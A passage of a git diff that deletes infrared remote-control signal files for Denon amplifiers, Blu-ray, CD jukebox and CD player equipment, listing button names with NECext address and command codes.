AUDIO_REC_SELECT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: DB 00 00 00 -# -name: AMP_PANEL -type: parsed -protocol: NECext -address: 02 00 00 00 -command: DE 00 00 00 -# -name: PANEL -type: parsed -protocol: NECext -address: 02 00 00 00 -command: DE 00 00 00 -# -name: AMP_SCREEN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: DF 00 00 00 -# -name: ON_SCREEN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: DF 00 00 00 -# -name: AMP_CENTER_MODE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: E4 00 00 00 -# -name: SURROUND_CENTER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: E4 00 00 00 -# -name: AMP_SURR.MODE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: E6 00 00 00 -# -name: SURROUND_MODE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: E6 00 00 00 -# -name: AMP_BYPASS -type: parsed -protocol: NECext -address: 02 00 00 00 -command: E7 00 00 00 -# -name: AMP_DELAY_V -type: parsed -protocol: NECext -address: 02 00 00 00 -command: E8 00 00 00 -# -name: SURR.DELAY_V -type: parsed -protocol: NECext -address: 02 00 00 00 -command: E8 00 00 00 -# -name: AMP_DELAY_^ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: E9 00 00 00 -# -name: SURR.DELAY_^ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: E9 00 00 00 -# -name: AMP_T.TONE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: EA 00 00 00 -# -name: SURR./PARAM.T.TONE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: EA 00 00 00 -# -name: 3CH_LOGIC -type: parsed -protocol: NECext -address: 02 00 00 00 -command: EB 00 00 00 -# -name: AMP_CENTER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: EC 00 00 00 -# -name: OUTPUT_CENTER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: EC 00 00 00 -# -name: AMP_REAR -type: parsed -protocol: NECext -address: 02 00 00 00 -command: ED 00 00 00 -# -name: OUTPUT_REAR -type: parsed -protocol: NECext -address: 02 00 00 00 -command: ED 00 00 00 -# -name: AMP_SP-A -type: parsed -protocol: NECext -address: 02 00 00 00 -command: EE 00 00 00 -# -name: OUTPUT_FRONT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: EE 00 00 00 -# -name: AMP_SP-B -type: parsed -protocol: NECext -address: 02 00 00 00 -command: EF 00 00 00 -# -name: AMP_MUTING -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F0 00 00 00 -# -name: MUTING -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F0 00 00 00 -# -name: AMP_MASTER_VOL_^ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F1 00 00 00 -# -name: MASTER_^ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F1 00 00 00 -# -name: AMP_MASTER_VOL_V -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F2 00 00 00 -# -name: MASTER_V -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F2 00 00 00 -# -name: AMP_REAR_^ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F3 00 00 00 -# -name: SURR.REAR_^ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F3 00 00 00 -# -name: AMP_REAR_V -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F4 00 00 00 -# -name: SURR.REAR_V -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F4 00 00 00 -# -name: AMP_CENTER_^ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F5 00 00 00 -# -name: SURR.CENTER_^ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F5 00 00 00 -# -name: AMP_CENTER_V -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F6 00 00 00 -# -name: SURR.CENTER_V -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F6 00 00 00 -# -name: AMP_BALANCE_< -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F7 00 00 00 -# -name: SURR.BAL_< -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F7 00 00 00 -# -name: AMP_BALANCE_> -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F8 00 00 00 -# -name: SURR.BAL_> -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F8 00 00 00 -# -name: AMP_VDP_DIRECT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Amplifier/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Amplifier/4,-1.ir deleted file mode 100644 index d1095a437..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Amplifier/4,-1.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DECK_A/B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 53 00 00 00 -# -name: DECK1_A/B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 53 00 00 00 -# -name: DECK_SELECT_A/B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 53 00 00 00 -# -name: DECK_REV_PLAY_< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 57 00 00 00 -# -name: DECK1_REV_PLAY_< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 57 00 00 00 -# -name: DECK_PLAY_REV_< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 57 00 00 00 -# -name: DECK_PLAY(REV)_< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 57 00 00 00 -# -name: DECK_PLAY_REV._< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 57 00 00 00 -# -name: DECK_FF_>> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: DECK1_FF_>> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: DECK_REW_<< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: DECK1_REW_<< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: DECK_PLAY_> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: DECK1_PLAY_> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: DECK_PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5D 00 00 00 -# -name: DECK1_PAUSE_ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5D 00 00 00 -# -name: DECK_STOP_[] -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5E 00 00 00 -# -name: DECK1_STOP_[] -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5E 00 00 00 -# -name: DECK_REC -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5F 00 00 00 -# -name: DECK1_REC -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5F 00 00 00 -# -name: DECK_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 75 00 00 00 -# -name: DAT_SRCH_>> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D8 00 00 00 -# -name: DAT1_SRCH_>> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D8 00 00 00 -# -name: DAT_SRCH_<< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D9 00 00 00 -# -name: DAT1_SRCH_<< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D9 00 00 00 -# -name: DAT_FF_>> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: DA 00 00 00 -# -name: DAT1_FF_>> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: DA 00 00 00 -# -name: DAT_REW_<< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: DB 00 00 00 -# -name: DAT1_REW_<< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: DB 00 00 00 -# -name: DAT_PLAY_> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: DC 00 00 00 -# -name: DAT1_PLAY_> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: DC 00 00 00 -# -name: DAT_PAUSE_ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: DD 00 00 00 -# -name: DAT1_PAUSE_ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: DD 00 00 00 -# -name: DAT_STOP_[] -type: parsed -protocol: NECext -address: 04 00 00 00 -command: DE 00 00 00 -# -name: DAT1_STOP_[] -type: parsed -protocol: NECext -address: 04 00 00 00 -command: DE 00 00 00 -# -name: DAT_REC -type: parsed -protocol: NECext -address: 04 00 00 00 -command: DF 00 00 00 -# -name: DAT1_REC -type: parsed -protocol: NECext -address: 04 00 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Amplifier/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Amplifier/6,-1.ir deleted file mode 100644 index 5fff0cc8f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Amplifier/6,-1.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VDP_POWER -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 81 00 00 00 -# -name: VDP1_POWER -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 81 00 00 00 -# -name: VDP_STOP_[] -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 83 00 00 00 -# -name: VDP1_STOP_[] -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 83 00 00 00 -# -name: VDP_PLAY_> -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 84 00 00 00 -# -name: VDP1_PLAY_> -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 84 00 00 00 -# -name: VDP_PAUSE_ -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 85 00 00 00 -# -name: VDP1_PAUSE_ -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 85 00 00 00 -# -name: VDP_SEARCH_>> -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 86 00 00 00 -# -name: VDP1_SRCH_>> -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 86 00 00 00 -# -name: VDP_SEARCH_<< -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 87 00 00 00 -# -name: VDP1_SRCH_<< -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 87 00 00 00 -# -name: VDP_FF_>> -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 88 00 00 00 -# -name: VDP1_FF_>> -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 88 00 00 00 -# -name: VDP_REW_<< -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 89 00 00 00 -# -name: VDP1_REW_<< -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 89 00 00 00 -# -name: VDP1_DISPLAY -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 93 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Amplifier/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Amplifier/8,-1.ir deleted file mode 100644 index 8bd30e786..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Amplifier/8,-1.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: REPEAT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 54 00 00 00 -# -name: CD_REPEAT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 54 00 00 00 -# -name: CD_SKIP_>> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 58 00 00 00 -# -name: CD_SKIP_FWD_>> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 58 00 00 00 -# -name: CD_SKIP_<< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 59 00 00 00 -# -name: CD_SKIP_REV_<< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 59 00 00 00 -# -name: CD_SCAN_>> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5A 00 00 00 -# -name: CD_SCAN_FFWD_>> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5A 00 00 00 -# -name: CD_SCAN_<< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5B 00 00 00 -# -name: CD_SCAN_REV_<< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5B 00 00 00 -# -name: CD_PLAY_> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5C 00 00 00 -# -name: CD_PAUSE_ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5D 00 00 00 -# -name: CD_STOP_[] -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5E 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 64 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 65 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 66 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 67 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 68 00 00 00 -# -name: DISC_6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 69 00 00 00 -# -name: CD_DISC_SKIP_+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6B 00 00 00 -# -name: CD_SKIP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6B 00 00 00 -# -name: CD_POWER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 73 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Blu-Ray/2,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Blu-Ray/2,1.ir deleted file mode 100644 index 30217ab2d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Blu-Ray/2,1.ir +++ /dev/null @@ -1,278 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 02 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 03 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 04 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 05 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 06 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 07 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 08 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 09 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 0A 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 0D 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 0E 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 0F 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 10 00 00 00 -# -name: POP_UP_MENU -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 11 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 12 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 13 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 16 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 17 00 00 00 -# -name: TRACK_>> -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 18 00 00 00 -# -name: TRACK_<< -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 19 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 1A 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 1B 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 1C 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 1D 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 1E 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 1F 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 20 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 21 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 22 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 23 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 28 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 29 00 00 00 -# -name: A-B_REPEAT -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 2A 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 2B 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 2C 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 2D 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 2F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 30 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 30 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 31 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 32 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 33 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 34 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 35 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 39 00 00 00 -# -name: PURE_DIRECT -type: parsed -protocol: NECext -address: 02 01 00 00 -command: 3E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Jukebox/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Jukebox/4,-1.ir deleted file mode 100644 index 5edc9e794..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Jukebox/4,-1.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: REPEAT_OFF -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C0 00 00 00 -# -name: MODE_OFF -type: parsed -protocol: NECext -address: 04 00 00 00 -command: FA 00 00 00 -# -name: CROSS_FADE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: FB 00 00 00 -# -name: ALL_DISCS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: FC 00 00 00 -# -name: 1_DISC -type: parsed -protocol: NECext -address: 04 00 00 00 -command: FD 00 00 00 -# -name: REPEAT_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: FE 00 00 00 -# -name: BEST_HIT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Jukebox/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Jukebox/8,-1.ir deleted file mode 100644 index 7f3d55f31..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Jukebox/8,-1.ir +++ /dev/null @@ -1,344 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 40 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 41 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 42 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 43 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 44 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 45 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 46 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 47 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 48 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 49 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4A 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4B 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4C 00 00 00 -# -name: PROG/DIRECT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4D 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4D 00 00 00 -# -name: VOLUME+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4E 00 00 00 -# -name: VOLUME- -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4F 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 50 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 51 00 00 00 -# -name: CALL -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 52 00 00 00 -# -name: CHECK -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 52 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 53 00 00 00 -# -name: TIME/TEXT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 53 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 54 00 00 00 -# -name: REPEAT_ALL -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 54 00 00 00 -# -name: CONTINUE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 57 00 00 00 -# -name: >>I -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 58 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 58 00 00 00 -# -name: I<< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 59 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 59 00 00 00 -# -name: >> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5A 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5A 00 00 00 -# -name: << -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5B 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5B 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5C 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5D 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5E 00 00 00 -# -name: DISC_SELECT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 62 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6A 00 00 00 -# -name: DISC_SKIP+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6B 00 00 00 -# -name: DISC_SKIP_UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6B 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6B 00 00 00 -# -name: DISC_SKIP- -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6E 00 00 00 -# -name: DISC_SKIP_DN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6E 00 00 00 -# -name: DISC_- -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6E 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 73 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 7A 00 00 00 -# -name: GROUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 7E 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 7F 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 08 00 00 00 -command: F8 00 00 00 -# -name: SINGLE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: F9 00 00 00 -# -name: MULTI -type: parsed -protocol: NECext -address: 08 00 00 00 -command: FA 00 00 00 -# -name: ZONE_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: FB 00 00 00 -# -name: ZONE_2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: FC 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: FD 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: FE 00 00 00 -# -name: TRACK/CAPS -type: parsed -protocol: NECext -address: 08 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Player/168,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Player/168,-1.ir deleted file mode 100644 index aba9bd159..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/CD Player/168,-1.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 09 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 10 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 11 00 00 00 -# -name: CHP/TM -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 13 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 16 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 17 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 18 00 00 00 -# -name: MEMORY_REVIEW -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 19 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 19 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1C 00 00 00 -# -name: AUDIO_D/A -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1E 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 1F 00 00 00 -# -name: SCAN_REVERSE_(F.S.) -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 2B 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 43 00 00 00 -# -name: BLANK_KEY -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 44 00 00 00 -# -name: CLEAR_(C) -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 45 00 00 00 -# -name: REPEAT_A/B -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 48 00 00 00 -# -name: PGM -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 4C 00 00 00 -# -name: DISC_SIDE_A -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 4D 00 00 00 -# -name: DISC_SIDE_B -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 4E 00 00 00 -# -name: STEP_< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 50 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 52 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 53 00 00 00 -# -name: STEP_> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 54 00 00 00 -# -name: MULTI-SPEED_< -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 55 00 00 00 -# -name: MULTI-SPEED_> -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 58 00 00 00 -# -name: HILITE/INTRO -type: parsed -protocol: NECext -address: A8 00 00 00 -command: 5A 00 00 00 -# -name: RANDOM 